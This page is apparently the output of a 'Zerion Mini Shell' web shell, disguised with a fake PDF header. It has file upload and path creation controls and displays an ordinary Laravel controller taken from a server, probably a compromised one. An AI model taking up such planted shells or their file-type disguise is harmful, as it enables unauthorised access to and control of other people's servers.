%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /mnt/tnb2/git/loslex/app/Http/Controllers/
Upload File :
Create Path :
Current File : //mnt/tnb2/git/loslex/app/Http/Controllers/OrganizerGroupController.php

<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\View\View;
use Illuminate\Http\Request;
use App\Models\OrganizerGroup;
use Illuminate\Http\RedirectResponse;

class OrganizerGroupController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    public function index() : View
    {
        return view('organizers.list', [
            'groups' => OrganizerGroup::orderBy('name')->get(),
        ]);
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request) : RedirectResponse
    {
        $request->validateWithBag('addOrgGroup', ['name' => 'required|string|max:255']);
        $orgGroup = OrganizerGroup::create(['name' => $request->name]);

        return redirect(route('organizer.show', $orgGroup->id));
    }

    /**
     * Display the specified resource.
     */
    public function show(OrganizerGroup $organizer) : View
    {
        // Userlist displays only users not already being members of the group
        $groupmembers = OrganizerGroup::where('id', $organizer->id)->first()->users->pluck('id')->toArray();
        $userlist = User::whereNotIn('id', $groupmembers)->get();
        $userlist = $userlist->sortBy(fn ($usr) => $usr->displayname);

        return view('organizers.show', [
            'group' => $organizer,
            'users' => $userlist
        ]);
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(OrganizerGroup $organizer)
    {
        dd($organizer);
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, OrganizerGroup $organizer)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(OrganizerGroup $organizer)
    {
        //
    }
}

Zerion Mini Shell 1.0